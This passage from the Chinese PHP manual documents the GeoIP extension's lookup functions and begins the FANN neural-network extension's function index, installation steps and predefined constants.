Example #1 geoip_country_code3_by_name() 函数的使用范例：

以下代码将会打印 example.com 主机的定位信息。

<?php
$country = geoip_country_code3_by_name('www.example.com');
if ($country) {
echo 'This host is located in: ' . $country;
}
?>

以上示例会输出：

This host is located in: USA

参见

  • geoip_country_code_by_name() - 获取国家代码
  • geoip_country_name_by_name() - 获取国家的全称

User Contributed Notes

There are no user contributed notes for this page.


获取国家的全称

  • ? geoip_country_code3_by_name
  • geoip_database_info ?
  • PHP Manual
  • GeoIP 函数
  • 获取国家的全称

geoip_country_name_by_name

(PECL geoip >= 0.2.0)

geoip_country_name_by_name — 获取国家的全称

说明

geoip_country_name_by_name(string $hostname): string

geoip_country_name_by_name() 函数返回主机或者 IP 地址所对应的国家名全称。

参数

hostname

定位所用的主机或者 IP 地址。

返回值

成功，返回国家全称，如果在数据库中未找到相关信息则返回 false 。

示例

Example #1 geoip_country_name_by_name() 函数的使用范例：

以下代码将会打印 example.com 主机的定位信息。

<?php
$country = geoip_country_name_by_name('www.example.com');
if ($country) {
echo 'This host is located in: ' . $country;
}
?>

以上示例会输出：

 This host is located in: United States

参见

  • geoip_country_code_by_name() - 获取国家代码
  • geoip_country_code3_by_name() - 获取三个字母组成的国家简称

User Contributed Notes

There are no user contributed notes for this page.


获取 GeoIP 数据库的信息

  • ? geoip_country_name_by_name
  • geoip_db_avail ?
  • PHP Manual
  • GeoIP 函数
  • 获取 GeoIP 数据库的信息

geoip_database_info

(PECL geoip >= 0.2.0)

geoip_database_info — 获取 GeoIP 数据库的信息

说明

geoip_database_info(int $database = GEOIP_COUNTRY_EDITION): string

geoip_database_info() 函数返回 GeoIP 数据库版本的信息。

如果无参调用该函数，则返回 GeoIP 免费国家版的版本信息。

参数

database

该变量的类型为整型。你可以使用该扩展的预定义常量(类似: GEOIP_*_EDITION)。

返回值

如果成功，返回数据库的版本信息，错误则返回null 。

示例

Example #1 geoip_database_info() 函数的使用范例：

以下代码将会输出数据库的相关信息。

<?php
print geoip_database_info(GEOIP_COUNTRY_EDITION);
?>

以上示例会输出：

GEO-106FREE 20060801 Build 1 Copyright (c) 2006 MaxMind LLC All Rights Reserved

User Contributed Notes

There are no user contributed notes for this page.


GeoIP 数据库是否可用

  • ? geoip_database_info
  • geoip_db_filename ?
  • PHP Manual
  • GeoIP 函数
  • GeoIP 数据库是否可用

geoip_db_avail

(PECL geoip >= 1.0.1)

geoip_db_avail — GeoIP 数据库是否可用

说明

geoip_db_avail(int $database): bool

geoip_db_avail() 函数返回 GeoI P数据库是否可以在磁盘上打开并且可用。

该函数不能用来判断是否是个合适的数据库，除非这个数据库可读。

参数

database

变量类型为整型。你可以使用该扩展的预定义常量(比如: GEOIP_*_EDITION)。

返回值

如果存在则返回 true , 未找到则返回 false , 错误则返回 null 。

示例

Example #1 geoip_db_avail() 函数的使用范例：

以下代码将会输出当前数据库的版本信息。

<?php

if (geoip_db_avail(GEOIP_COUNTRY_EDITION))
print geoip_database_info(GEOIP_COUNTRY_EDITION);
?>

以上示例会输出：

GEO-106FREE 20080801 Build 1 Copyright (c) 2006 MaxMind LLC All Rights Reserved

User Contributed Notes

There are no user contributed notes for this page.


返回 GeoIP 数据库相对应的文件名

  • ? geoip_db_avail
  • geoip_db_get_all_info ?
  • PHP Manual
  • GeoIP 函数
  • 返回 GeoIP 数据库相对应的文件名

geoip_db_filename

(PECL geoip >= 1.0.1)

geoip_db_filename — 返回 GeoIP 数据库相对应的文件名

说明

geoip_db_filename(int $database): string

geoip_db_filename() 函数将会返回和 GeoIP 数据库相对应的文件名。

这个函数不会判别文件是否存在在磁盘上，只会表明拓展库在哪里查找数据库。

参数

database

该参数为整型。你可以使用该扩展的预定义常量 (比如: GEOIP_*_EDITION)。

返回值

成功则返回相对应的数据库文件名，错误则返回null 。

示例

Example #1 geoip_db_filename()函数的使用范例：

如下代码将会打印数据库相对应的文件名。

<?php

print geoip_db_filename(GEOIP_COUNTRY_EDITION);

?>

以上示例会输出：

/usr/share/GeoIP/GeoIP.dat

User Contributed Notes

There are no user contributed notes for this page.


返回所有 GeoIP 数据库类型的详细信息

  • ? geoip_db_filename
  • geoip_domain_by_name ?
  • PHP Manual
  • GeoIP 函数
  • 返回所有 GeoIP 数据库类型的详细信息

geoip_db_get_all_info

(PECL geoip >= 1.0.1)

geoip_db_get_all_info — 返回所有 GeoIP 数据库类型的详细信息

说明

geoip_db_get_all_info(): array

geoip_db_get_all_info() 函数将会返回包含所有 GeoIP 数据库类型详细信息的多维数组

即使没有安装数据库，这个函数依旧可用。它将会列出数据库是否可用。

返回的关联数组，各键值所代表的含义如下：

  • "available" -- 布尔值, 表示数据库是否可用(请参考 geoip_db_avail())
  • "description" -- 数据库的描述
  • "filename" -- 磁盘上的数据库文件名(请参考 geoip_db_filename())

参数

此函数没有参数。

返回值

返回一个关联数组。

示例

Example #1 geoip_db_get_all_info() 使用范例：

以下代码将会打印包含所有信息的数组。

<?php
$infos = geoip_db_get_all_info();
if (is_array($infos)) {
var_dump($infos);
}
?>

以上示例会输出：

array(11) {
  [1]=>
  array(3) {
    ["available"]=>
    bool(true)
    ["description"]=>
    string(21) "GeoIP Country Edition"
    ["filename"]=>
    string(32) "/usr/share/GeoIP/GeoIP.dat"
  }

[ ... ]

  [11]=>
  array(3) {
    ["available"]=>
    bool(false)
    ["description"]=>
    string(25) "GeoIP Domain Name Edition"
    ["filename"]=>
    string(38) "/usr/share/GeoIP/GeoIPDomain.dat"
  }
}

Example #2 geoip_db_get_all_info() 使用范例：

你可以使用不同的常量作为键来获取部分信息。

<?php
$infos = geoip_db_get_all_info();
if ($infos[GEOIP_COUNTRY_EDITION]['available']) {
echo $infos[GEOIP_COUNTRY_EDITION]['description'];
}
?>

以上示例会输出：

GeoIP Country Edition

User Contributed Notes

There are no user contributed notes for this page.


获取二级域名

  • ? geoip_db_get_all_info
  • geoip_id_by_name ?
  • PHP Manual
  • GeoIP 函数
  • 获取二级域名

geoip_domain_by_name

(PECL geoip >= 1.1.0)

geoip_domain_by_name — 获取二级域名

说明

geoip_domain_by_name(string $hostname): string

geoip_domain_by_name() 函数将会返回和主机或者 IP 地址相关联的二级域名。

当前该函数只对购买了商业 GeoIP 域名版本的用户是可用的。如果没有该版本的数据库，使用该函数时将会抛出一个警告。

参数

hostname

主机名或者 IP 地址。

返回值

成功，返回域名，如果在数据库中未找到信息则返回 false 。

示例

Example #1 一个 geoip_domain_by_name() 使用范例：

以下代码将会输出和 IP 61.106.139.1相关联的域名。

<?php
$domain = geoip_domain_by_name('61.106.139.1');

if ($domain) {
echo 'The domain is: '. $domain;
}

?>

以上示例会输出：

The domain is: von.co.kr

User Contributed Notes

There are no user contributed notes for this page.


获取网络连接类型

  • ? geoip_domain_by_name
  • geoip_isp_by_name ?
  • PHP Manual
  • GeoIP 函数
  • 获取网络连接类型

geoip_id_by_name

(PECL geoip >= 0.2.0)

geoip_id_by_name — 获取网络连接类型

说明

geoip_id_by_name(string $hostname): int

geoip_id_by_name() 函数将会返回和主机名或者 IP 地址相对应的网络连接类型。

函数返回值是数字可以和以下常量对照：

  • GEOIP_UNKNOWN_SPEED
  • GEOIP_DIALUP_SPEED
  • GEOIP_CABLEDSL_SPEED
  • GEOIP_CORPORATE_SPEED

参数

hostname

要查找连接类型的主机或者 IP 地址。

返回值

返回连接类型。

示例

Example #1 一个 geoip_id_by_name() 使用范例：

以下将会输出 example.com 主机的连接类型。

<?php
$netspeed = geoip_id_by_name('www.example.com');

echo 'The connection type is ';

switch ($netspeed) {
case GEOIP_DIALUP_SPEED:
echo 'dial-up';
break;
case GEOIP_CABLEDSL_SPEED:
echo 'cable or DSL';
break;
case GEOIP_CORPORATE_SPEED:
echo 'corporate';
break;
case GEOIP_UNKNOWN_SPEED:
default:
echo 'unknown';
}
?>

以上示例会输出：

The connection type is corporate

User Contributed Notes

There are no user contributed notes for this page.


获取 ISP (网络服务提供商)的名称

  • ? geoip_id_by_name
  • geoip_netspeedcell_by_name ?
  • PHP Manual
  • GeoIP 函数
  • 获取 ISP (网络服务提供商)的名称

geoip_isp_by_name

(PECL geoip >= 1.0.2)

geoip_isp_by_name — 获取 ISP (网络服务提供商)的名称

说明

geoip_isp_by_name(string $hostname): string

geoip_isp_by_name() 函数将会返回 IP 地址所归属的网络服务提供商(ISP)的名称。

目前，该函数只对购买了商业 GeoIP ISP 版本的用户可用，否则将会抛出一个警告！

参数

hostname

主机或者 IP 地址。

返回值

成功，则返回 ISP 名称，未找到相关信息则返回 false 。

示例

Example #1 一个 geoip_isp_by_name() 使用范例：

以下代码将会输出 example.com 主机的 ISP 名称。

<?php
$isp = geoip_isp_by_name('www.example.com');
if ($isp) {
echo 'This host IP is from ISP: ' . $isp;
}
?>

以上示例会输出：

This host IP is from ISP: ICANN c/o Internet Assigned Numbers Authority

User Contributed Notes

There are no user contributed notes for this page.


获取网络连接速度

  • ? geoip_isp_by_name
  • geoip_org_by_name ?
  • PHP Manual
  • GeoIP 函数
  • 获取网络连接速度

geoip_netspeedcell_by_name

(PECL geoip >= 1.1.0)

geoip_netspeedcell_by_name — 获取网络连接速度

说明

geoip_netspeedcell_by_name(string $hostname): string

geoip_netspeedcell_by_name() 函数将会返回主机或者 IP 地址对应的网络连接类型和速度。

该函数只有在 GeoIP 1.4.8 版本以上才能使用。

目前，该函数只对购买了商业 GeoIP NetSpeedCell 版本的用户可用，否则将会抛出一个警告！

返回值为字符串，结果集如下：

  • Cable/DSL
  • Dialup
  • Cellular
  • Corporate

参数

hostname

主机名或者 IP 地址。

返回值

成功，返回连接速度，未找到相关信息则返回 false 。

示例

Example #1 一个 geoip_netspeedcell_by_name() 使用范例：

以下代码将会输出 example.com 主机的连接速度。

<?php
$netspeed = geoip_netspeedcell_by_name('www.example.com');

if ($netspeed) {
echo 'The connection type is: '. $netspeed;
}
?>

以上示例会输出：

The connection type is: Corporate

User Contributed Notes

There are no user contributed notes for this page.


获取机构的名称

  • ? geoip_netspeedcell_by_name
  • geoip_record_by_name ?
  • PHP Manual
  • GeoIP 函数
  • 获取机构的名称

geoip_org_by_name

(PECL geoip >= 0.2.0)

geoip_org_by_name — 获取机构的名称

说明

geoip_org_by_name(string $hostname): string

geoip_org_by_name() 函数将会返回 IP 地址所分配的机构名称。

目前，该函数只对购买了商业 GeoIP Organization， ISP 或者 AS 版本的用户可用，否则将会抛出一个警告！

参数

hostname

主机名或者 IP 地址。

返回值

成功， 返回组织的名称，未找到相关信息则返回 false 。

示例

Example #1 一个 geoip_org_by_name() 使用范例：

以下代码将会打印 example.com 主机的所有者。

<?php
$org = geoip_org_by_name('www.example.com');
if ($org) {
echo 'This host IP is allocated to: ' . $org;
}
?>

以上示例会输出：

This host IP is allocated to: ICANN c/o Internet Assigned Numbers Authority

User Contributed Notes

There are no user contributed notes for this page.


返回 GeoIP 数据库中详细的城市信息

  • ? geoip_org_by_name
  • geoip_region_by_name ?
  • PHP Manual
  • GeoIP 函数
  • 返回 GeoIP 数据库中详细的城市信息

geoip_record_by_name

(PECL geoip >= 0.2.0)

geoip_record_by_name — 返回 GeoIP 数据库中详细的城市信息

说明

geoip_record_by_name(string $hostname): array

geoip_record_by_name() 函数将会返回主机或者 IP 地址所对应的记录信息。

该函数在 GeoLite City 版本和商业 GeoIP City 版本中可用。 版本不对的话，将会抛出一个警告。

返回的关联数组不同的键名对应如下：

  • "continent_code" -- 由两个字符组成的洲简称。(要求 GeoIP 的库版本是1.0.4以上)
  • "country_code" -- 由2个字母组成的国家简称。(参见 geoip_country_code_by_name())
  • "country_code3" -- 由三个字母组成的国家简称。(参见 geoip_country_code3_by_name())
  • "country_name" -- 国家名称 (参见 geoip_country_name_by_name())
  • "region" -- 地区代码 (比如: CA 对应 California)
  • "city" -- 城市名称。
  • "postal_code" -- 邮编，FSA 或者 Zip 编码。
  • "latitude" -- 有符号的 float 纬度。
  • "longitude" -- 有符号的 float 经度。
  • "dma_code" -- 指定市场区号 (只支持美国和加拿大)
  • "area_code" -- PSTN （公共交换电话网络）地区代码。 (比如: 212)

参数

hostname

所要查找的主机或者 IP 地址。

返回值

成功，返回关联数组，未找到相关信息则返回 false 。

更新日志

版本 | 说明
PECL geoip 1.0.4 | 给 GeoIP 1.4.4及以上版本的库添加 continent_code 字段。
PECL geoip 1.0.3 | 添加 country_code3 和 country_name 字段。

示例

Example #1 geoip_record_by_name() 例子：

以下示例将会输出包含 example.com 主机记录的数组。

<?php
$record = geoip_record_by_name('www.example.com');
if ($record) {
print_r($record);
}
?>

以上示例会输出：

Array
(
    [continent_code] => NA
    [country_code] => US
    [country_code3] => USA
    [country_name] => United States
    [region] => CA
    [city] => Marina Del Rey
    [postal_code] =>
    [latitude] => 33.9776992798
    [longitude] => -118.435096741
    [dma_code] => 803
    [area_code] => 310
)

User Contributed Notes

There are no user contributed notes for this page.


获取国家和地区代码

  • ? geoip_record_by_name
  • geoip_region_name_by_code ?
  • PHP Manual
  • GeoIP 函数
  • 获取国家和地区代码

geoip_region_by_name

(PECL geoip >= 0.2.0)

geoip_region_by_name — 获取国家和地区代码

说明

geoip_region_by_name(string $hostname): array

geoip_region_by_name() 函数将会返回与主机或者 IP 地址相关的国家和地区代码。

该函数只对购买了商业 GeoIP Region 版本的用户可用。否则将会抛出一个警告！

所返回的关联数组的各字段具体含义如下：

  • "country_code" -- 由两个字母组成的国家代码(参见 geoip_country_code_by_name())
  • "region" -- 地区代码。 (比如: CA 对应 California)

参数

hostname

查找的主机或者 IP 地址。

返回值

成功，返回关联数组， 如果信息未找到则返回 false。

示例

Example #1 geoip_region_by_name() 例子：

以下示例将会打印对应 example.com 主机的包含国家和地区代码的关联数组。

<?php
$region = geoip_region_by_name('www.example.com');
if ($region) {
print_r($region);
}
?>

以上示例会输出：

Array
(
    [country_code] => US
    [region] => CA
)

User Contributed Notes

There are no user contributed notes for this page.


返回给定的国家和地区代码组合所对应的地区名称

  • ? geoip_region_by_name
  • geoip_setup_custom_directory ?
  • PHP Manual
  • GeoIP 函数
  • 返回给定的国家和地区代码组合所对应的地区名称

geoip_region_name_by_code

(PECL geoip >= 1.0.4)

geoip_region_name_by_code — 返回给定的国家和地区代码组合所对应的地区名称

说明

geoip_region_name_by_code(string $country_code, string $region_code): string

geoip_region_name_by_code() 函数将会返回与给定的国家和地区代码组合相对应的地区名称。

在美国，地区代码是每个州对应的两个字母的缩写，而在加拿大，则是由两个字母组成的每个省的邮政编码。

在世界其他地区，GeoIP使用 FIPS 给定的10到4位的代码来表示各地区。你可以点击以下连接 » http://www.maxmind.com/app/fips10_4 查看详细信息。

该函数只在 GeoIP 1.4.1版本以上的库才可用。并且结果集的数据来源是直接从 GeoIP 库中获取的，而不是从任何数据库中。

参数

country_code

由两个字母组成的国家代码 (参见 geoip_country_code_by_name())

region_code

由两个字母组成的地区代码 (参见 geoip_region_by_name())

返回值

成功，返回地区名字，如果相关信息未找到则返回 false 。

示例

Example #1 geoip_region_name_by_code() 使用美国和加拿大地区的范例。

以下示例将会打印国家简称为 CA (加拿大)，地区简称为 QC (魁北克)的地区名：

<?php
$region = geoip_region_name_by_code('CA', 'QC');
if ($region) {
echo 'Region name for CA/QC is: ' . $region;
}
?>

以上示例会输出：

Region name for CA/QC is: Quebec

Example #2 geoip_region_name_by_code() 使用 FIPS 代码的范例：

以下示例将会打印国家简称为 JP (日本)地区代码为 01的地区名称。

<?php
$region = geoip_region_name_by_code('JP', '01');
if ($region) {
echo 'Region name for JP/01 is: ' . $region;
}
?>

以上示例会输出：

Region name for JP/01 is: Aichi

User Contributed Notes

There are no user contributed notes for this page.


自定义 GeoIP 数据库的目录

  • ? geoip_region_name_by_code
  • geoip_time_zone_by_country_and_region ?
  • PHP Manual
  • GeoIP 函数
  • 自定义 GeoIP 数据库的目录

geoip_setup_custom_directory

(PECL geoip >= 1.1.0)

geoip_setup_custom_directory — 自定义 GeoIP 数据库的目录

说明

geoip_setup_custom_directory(string $path): void

geoip_setup_custom_directory() 函数将会更改 GeoIP 数据库的默认目录。这个设置和直接在 php 配置文件中设置的geoip.custom_directory参数效果是一样的。

参数

path

磁盘上 GeoIP 数据库的绝对路径。

返回值

没有返回值。

示例

Example #1 geoip_setup_custom_directory() 例子：

以下示例将会更改 GeoIP 默认数据库的路径。

<?php

geoip_setup_custom_directory('/some/other/path');

print geoip_db_filename(GEOIP_COUNTRY_EDITION);

?>

以上示例会输出：

/some/other/path/GeoIP.dat

User Contributed Notes

There are no user contributed notes for this page.


返回国家和地区的时区

  • ? geoip_setup_custom_directory
  • FANN ?
  • PHP Manual
  • GeoIP 函数
  • 返回国家和地区的时区

geoip_time_zone_by_country_and_region

(PECL geoip >= 1.0.4)

geoip_time_zone_by_country_and_region — 返回国家和地区的时区

说明

geoip_time_zone_by_country_and_region(string $country_code, string $region_code = ?): string

geoip_time_zone_by_country_and_region() 函数将会返回与国家或者地区相对应的时区。

在美国，地区代码是每个州对应的两个字母的缩写，而在加拿大，则是由两个字母组成的每个省的邮政编码。

在世界上其他地区，GeoIP 使用 FIPS 给定的10到4位的代码来表示各地区。你可以点击以下连接 » http://www.maxmind.com/app/fips10_4 查看详细信息。

该函数只在 GeoIP 1.4.1版本以上的库才可用。并且结果集的数据来源是直接从 GeoIP 库中获取的，而不是从任何数据库中。

参数

country_code

由两个字母组成的国家代码 (参见 geoip_country_code_by_name())

region_code

由两个字母组成的地区代码 (参见 geoip_region_by_name())

返回值

成功，返回地区名字，如果相关信息未找到则返回 false 。

示例

Example #1 geoip_time_zone_by_country_and_region() 使用美国和加拿大地区的范例：

以下示例将会打印国家简称为 CA (加拿大)，地区简称为 QC (魁北克)的时区。

<?php
$timezone = geoip_time_zone_by_country_and_region('CA', 'QC');
if ($timezone) {
echo 'Time zone for CA/QC is: ' . $timezone;
}
?>

以上示例会输出：

Time zone for CA/QC is: America/Montreal

Example #2 geoip_time_zone_by_country_and_region() 使用 FIPS 代码的范例：

以下示例将会打印国家简称为 JP (日本),地区代码为 01的时区。

<?php
$timezone = geoip_time_zone_by_country_and_region('JP', '01');
if ($timezone) {
echo 'Time zone for JP/01 is: ' . $timezone;
}
?>

以上示例会输出：

Time zone for JP/01 is: Asia/Tokyo

User Contributed Notes

There are no user contributed notes for this page.


FANN (快速人工神经网络)

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
    • XOR (异或)训练
  • Fann 函数
    • fann_cascadetrain_on_data — 在整个数据集上训练，使用一段时间的 Cascade2 训练算法。
    • fann_cascadetrain_on_file — 读取文件并在整个数据集上训练，使用 Cascade2 训练算法训练一段时间
    • fann_clear_scaling_params — 清除缩放参数
    • fann_copy — 创建一个 fann 结构体的副本。
    • fann_create_from_file — 从配置文件中构建一个反向传播神经网络。
    • fann_create_shortcut_array — 创建一个含快捷连接而非全连接的标准反向传播神经网络。
    • fann_create_shortcut — 创建一个含快捷连接而非全连接的标准反向传播神经网络。
    • fann_create_sparse_array — 创建一个标准的反向传播神经网络，该网络使用一个表示每层大小的数组来构造，但是并不是全连接的。
    • fann_create_sparse — 创建一个标准的反向传播神经网络，该网络不是全连接。
    • fann_create_standard_array — 创建一个全连接的反向传播神经网络，该网络使用一个表示每层大小的数组来构造。
    • fann_create_standard — 创建标准的全连接反向传播神经网络。
    • fann_create_train_from_callback — 从用户提供的函数创建训练数据结构。
    • fann_create_train — 创建一个空的训练数据结构。
    • fann_descale_input — 在获取基于先前计算的参数之后，在输入向量中缩小数据
    • fann_descale_output — 在获取基于先前计算的参数之后，在输出向量中缩小数据
    • fann_descale_train — 基于先前计算的参数来缩小输入和输出数据
    • fann_destroy_train — 销毁训练数据。
    • fann_destroy — 销毁整个网络并且适当地释放所有的关联内存。
    • fann_duplicate_train_data — 返回 fann 训练数据精确的副本。
    • fann_get_activation_function — 返回激励函数
    • fann_get_activation_steepness — 为提供的神经和网络层数返回激活陡度
    • fann_get_bias_array — 获取网络中每一层的偏差数
    • fann_get_bit_fail_limit — 返回训练期间使用的误差限制
    • fann_get_bit_fail — 失败位的数量
    • fann_get_cascade_activation_functions_count — 返回级联激活函数的数量
    • fann_get_cascade_activation_functions — 返回级联激活函数
    • fann_get_cascade_activation_steepnesses_count — 激活陡度的数量
    • fann_get_cascade_activation_steepnesses — 返回级联激活陡度
    • fann_get_cascade_candidate_change_fraction — 返回级联候选变化分数
    • fann_get_cascade_candidate_limit — 返回候选限度
    • fann_get_cascade_candidate_stagnation_epochs — 返回层叠候选停滞周期的数量
    • fann_get_cascade_max_cand_epochs — 返回候选周期的最大值
    • fann_get_cascade_max_out_epochs — 返回输出周期的最大值
    • fann_get_cascade_min_cand_epochs — 返回最小的候选周期
    • fann_get_cascade_min_out_epochs — 返回最小输出周期
    • fann_get_cascade_num_candidate_groups — 返回候选组的数量
    • fann_get_cascade_num_candidates — 返回训练期间使用的候选数量
    • fann_get_cascade_output_change_fraction — 返回级联输出变化分数
    • fann_get_cascade_output_stagnation_epochs — 返回级联输出停滞周期的数量
    • fann_get_cascade_weight_multiplier — 返回权重因子
    • fann_get_connection_array — 获取网络中的连接。
    • fann_get_connection_rate — 获取当网络创建时连接的使用率。
    • fann_get_errno — 返回最后一个错误数字。
    • fann_get_errstr — 返回最后的错误字符串。
    • fann_get_layer_array — 获取网络中每层的神经元数量。
    • fann_get_learning_momentum — 返回学习动量
    • fann_get_learning_rate — 返回学习速率
    • fann_get_MSE — 从网络中读取均方误差。
    • fann_get_network_type — 获取所创建的神经网络类型。
    • fann_get_num_input — 获取输入神经元的数量。
    • fann_get_num_layers — 获取神经网络的层数。
    • fann_get_num_output — 获取输出神经元的数量。
    • fann_get_quickprop_decay — 返回衰退值，用于在 quickprop 训练迭代时衰减权重
    • fann_get_quickprop_mu — 返回放大系数
    • fann_get_rprop_decrease_factor — 返回 RPROP 训练期间的衰减系数
    • fann_get_rprop_delta_max — 返回最大步长
    • fann_get_rprop_delta_min — 返回最小步长
    • fann_get_rprop_delta_zero — 返回初始步长
    • fann_get_rprop_increase_factor — 返回 RPROP 训练的递增系数
    • fann_get_sarprop_step_error_shift — 返回 sarprop 步值的误差偏移
    • fann_get_sarprop_step_error_threshold_factor — 返回 sarprop 算法步值的误差阈值系数
    • fann_get_sarprop_temperature — 返回 sarprop 算法温度
    • fann_get_sarprop_weight_decay_shift — 返回 sarprop 算法权重衰减变化值
    • fann_get_total_connections — 获取整个网络中所有的连接数。
    • fann_get_total_neurons — 获取整个网络中神经元的数量。
    • fann_get_train_error_function — 返回训练中使用的错误函数。
    • fann_get_train_stop_function — 返回训练中使用的停止函数。
    • fann_get_training_algorithm — 返回训练算法。
    • fann_init_weights — 使用 Widrow 和 Nguyen 算法初始化权重。
    • fann_length_train_data — 返回训练数据中训练模式的数量。
    • fann_merge_train_data — 合并训练数据。
    • fann_num_input_train_data — 返回训练数据中每个训练模式输入的数量。
    • fann_num_output_train_data — 返回训练数据中每个训练模式输出的数量。
    • fann_print_error — 打印错误字符串
    • fann_randomize_weights — 给每个连接赋一个介于 min_weight 和 max_weight 之间的随机权重。
    • fann_read_train_from_file — 读取存储训练数据的文件。
    • fann_reset_errno — 重置最后的错误代码。
    • fann_reset_errstr — 重置最后的错误字符串。
    • fann_reset_MSE — 重置网络中的均方误差。
    • fann_run — 将通过神经网络运行输入。
    • fann_save_train — 将训练结构体保存至文件。
    • fann_save — 将整个网络保存至配置文件。
    • fann_scale_input_train_data — 在训练数据中缩放输入至指定范围
    • fann_scale_input — 在以前计算参数的基础上，在训练之前放大输入向量中的数据
    • fann_scale_output_train_data — 在训练数据中缩放输出至指定范围
    • fann_scale_output — 在以前计算参数的基础上，在训练之前放大输出向量中的数据
    • fann_scale_train_data — 在训练数据中缩放输入和输出到指定的范围
    • fann_scale_train — 在以前计算参数的基础上，缩放输入和输出数据
    • fann_set_activation_function_hidden — 为所有隐藏层设置激活函数
    • fann_set_activation_function_layer — 为已应用的层中所有的神经元设置激活函数
    • fann_set_activation_function_output — 为输出层设置激活函数
    • fann_set_activation_function — 为已应用的神经元和层设置激活函数
    • fann_set_activation_steepness_hidden — 为所有隐藏层中所有的神经元设置激活函数陡度
    • fann_set_activation_steepness_layer — 为提供的层中所有的神经元设置激活陡度
    • fann_set_activation_steepness_output — 在输出层中设置激活陡度
    • fann_set_activation_steepness — 为提供的神经元和层设置激活陡度
    • fann_set_bit_fail_limit — 设置训练期间使用的误差
    • fann_set_callback — 设置训练期间使用的回调函数。
    • fann_set_cascade_activation_functions — 设置级联候选激活函数的数组
    • fann_set_cascade_activation_steepnesses — 设置级联候选激活陡度的数组。
    • fann_set_cascade_candidate_change_fraction — 设置级联候选更改分数
    • fann_set_cascade_candidate_limit — 设置候选限度
    • fann_set_cascade_candidate_stagnation_epochs — 设置级联候选停止周期数
    • fann_set_cascade_max_cand_epochs — 设置最大候选周期数
    • fann_set_cascade_max_out_epochs — 设置最大输出周期
    • fann_set_cascade_min_cand_epochs — 设置最小候选周期
    • fann_set_cascade_min_out_epochs — 设置最小输出周期
    • fann_set_cascade_num_candidate_groups — 设置候选组数量
    • fann_set_cascade_output_change_fraction — 设置级联输出改变分数
    • fann_set_cascade_output_stagnation_epochs — 设置级联输出停滞周期的值
    • fann_set_cascade_weight_multiplier — 设置权重因子
    • fann_set_error_log — 设置错误记录保存的位置。
    • fann_set_input_scaling_params — 根据训练数据计算将来使用的输入比例参数
    • fann_set_learning_momentum — 设置学习动量。
    • fann_set_learning_rate — 设置学习速率。
    • fann_set_output_scaling_params — 根据训练数据计算将来使用的输出缩放参数
    • fann_set_quickprop_decay — 设置quickprop算法衰减因子
    • fann_set_quickprop_mu — 设置 quickprop 算法放大因子
    • fann_set_rprop_decrease_factor — 使用 RPROP 算法训练时，设置下降因子
    • fann_set_rprop_delta_max — 设置最大步长
    • fann_set_rprop_delta_min — 设置最小步长
    • fann_set_rprop_delta_zero — 设置初始步长
    • fann_set_rprop_increase_factor — 使用 RPROP 算法训练时，设置增长因子
    • fann_set_sarprop_step_error_shift — 设置 sarprop 算法的步误差偏移量
    • fann_set_sarprop_step_error_threshold_factor — 设置 sarprop 算法的步误差阈值因子
    • fann_set_sarprop_temperature — 设置 sarprop 算法的温度
    • fann_set_sarprop_weight_decay_shift — 设置 sarprop 算法的权重衰减偏移值
    • fann_set_scaling_params — 根据训练数据计算输入和输出缩放参数以供将来使用
    • fann_set_train_error_function — 设置训练期间使用的错误函数。
    • fann_set_train_stop_function — 设置训练期间使用的停止函数。
    • fann_set_training_algorithm — 设置训练算法。
    • fann_set_weight_array — 在网络中设置一个连接。
    • fann_set_weight — 在网络中设置一个连接。
    • fann_shuffle_train_data — 打算训练数据，使顺序随机。
    • fann_subset_train_data — 返回一个训练数据子集的副本。
    • fann_test_data — 使用训练数据来测试并且计算出 MSE
    • fann_test — 使用一组输入和一组期望的输出来测试。
    • fann_train_epoch — 使用一组训练数据训练一个周期。
    • fann_train_on_data — 在整个数据集上训练一段时间。
    • fann_train_on_file — 在从某个文件读取的整个数据集上训练一段时间。
    • fann_train — 使用一个输入集和一个期望的输出集来迭代训练一次。
  • FANNConnection — FANNConnection 类
    • FANNConnection::__construct — 连接构造器
    • FANNConnection::getFromNeuron — 返回开始连接的神经元
    • FANNConnection::getToNeuron — 返回终止神经元的位置
    • FANNConnection::getWeight — 返回连接权重。
    • FANNConnection::setWeight — 设置连接权重。

User Contributed Notes

There are no user contributed notes for this page.


简介

PHP绑定了 FANN (快速人工神经网络) 库，该库实现了多层人工神经网络从而为全连接网络和稀疏连接网络提供支持。 该库是一个让训练数据集变得简单的框架。上手时快速，简单，文档也很丰富。

User Contributed Notes

There are no user contributed notes for this page.


需求

PHP >= 5.2.0 and libfann >= 2.1.0

User Contributed Notes

There are no user contributed notes for this page.


安装

FANN PHP 扩展在所有的 Linux 系统都可以运行的。

  • FANN 库安装
  • PECL 安装
  • 手动安装

FANN 库安装

在安装扩展之前确认 libfann 库已经安装在系统上了。在大部分的 Linux 发行版本的源中都包含了这个库（搜索 fann）。需要安装开发版本。

如果 libfann 没安装，需要先安装它。可以从» 官方网站或者系统自带源中下载。比如在 Fedora 系统中：

$ sudo yum install fann-devel
或者 Ubuntu 系统中：

$ sudo apt-get install libfann-dev

如果该库被手动重装，在安装之前所有的老版本库文件应该先被删除，否则老版本的库还是会被连接。

PECL 安装

在 PECL 库里这个扩展是可用的。 安装起来也很容易。只要运行：

$ sudo pecl install fann

手动安装

如果开发者和用户对最新的更改很感兴趣，可以编译 » Github 上最新的源代码。 前往 Github 点击 "Download ZIP" 按钮，然后运行:

$ unzip php-fann-master.zip
$ cd php-fann-master
$ phpize
$ ./configure
$ make all
$ sudo make install

在 php.ini 配置文件中做如下更改:

  • 确认 extension_dir 变量指向 fann.so 文件的目录. 该扩展构建过程中，在控制台输出时将会显示这个模块的安装路径，比如：

Installing '/usr/lib/php/extensions/no-debug-non-zts-20060613/fann.so'
    确认这个路径和 PHP 扩展是一致的，运行命令：

$ php -i | grep extension_dir
  extension_dir => /usr/lib/php/extensions/no-debug-non-zts-20060613 =>
                   /usr/lib/php/extensions/no-debug-non-zts-20060613
    如果不是，更改 php.ini 文件的 extension_dir 值或者移动 fann.so 文件到相应的目录。

  • 在 PHP 启动时添加该扩展，添加如下行代码：

extension=fann.so

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

训练算法
FANN_TRAIN_INCREMENTAL (int)
标准反向传播算法，每次训练匹配后权重都会更新。这意味着在每个单历元中权重会被更新很多次。因为这个原因，很多问题使用这个算法将会训练的非常快，然而其他更高级的问题的训练效果不是很好。
FANN_TRAIN_BATCH (int)
